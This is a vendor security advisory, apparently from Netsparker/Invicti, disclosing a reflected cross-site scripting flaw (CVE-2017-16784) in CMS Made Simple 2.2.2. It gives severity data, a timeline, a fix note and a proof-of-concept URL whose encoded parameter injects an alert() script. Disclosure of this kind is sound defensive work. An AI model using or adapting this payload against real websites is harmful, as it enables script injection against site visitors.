Information
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Advisory by Netsparker (now Invicti)
Name: Reflected XSS Vulnerability in CMS Made Simple
Affected Software : CMS Made Simple
Affected Versions: 2.2.2
Homepage :  http://www.cmsmadesimple.org/
Vulnerability Type :  Reflected XSS
Severity : Important
Status : Fixed
CVE-ID : CVE-2017-16784
CVSS Base Score (3.0) :6.3
CVSS Vector String(3.0):  AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L
Invicti Advisory Reference : NS-17-31
Proof of concept write up:  https://www.netsparker.com/blog/web-security/exploiting-ssti-and-xss-in-cms-made-simple/

Technical Details
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Proof of Concept URL for XSS vulnerability in CMS Made Simple ;

URL: index.php?mact=News,cntnt01,detail,0&cntnt01articleid=1&cntnt01detailtemplate=%2527%2522--%253E%253C%252Fstyle%253E%253C%252FscRipt%253E%253CscRipt%253Ealert%25280x001168%2529%253C%252FscRipt%253E&cntnt01returnid=1
Parameter Name: cntnt01detailtemplate
Parameter Type: GET
Attack Pattern: %2527%2522--%253E%253C%252Fstyle%253E%253C%252FscRipt%253E%253CscRipt%253Ealert%25280x001168%2529%253C%252FscRipt%253E

For more information on cross-site scripting vulnerabilities read the article Cross-site Scripting (XSS).

Advisory Timeline
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11 July 2017 - First Contact
26 Aug 2017 - Vendor Fixed
09 Nov 2017 - Advisory Released

Solution
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The issue occurs because the browser interprets the input as active HTML, JavaScript or VBScript. To avoid this, output should be encoded according to the output location and context.

Credits & Authors
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These issues have been discovered by Mithat Gogebakan while testing Invicti Web Application Security Scanner.

About Invicti
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Invicti Security is transforming the way web applications are secured. Invicti empowers organizations in every industry to scale their overall security operations, make the best use of their security resources, and engage developers in helping to improve their overall security posture.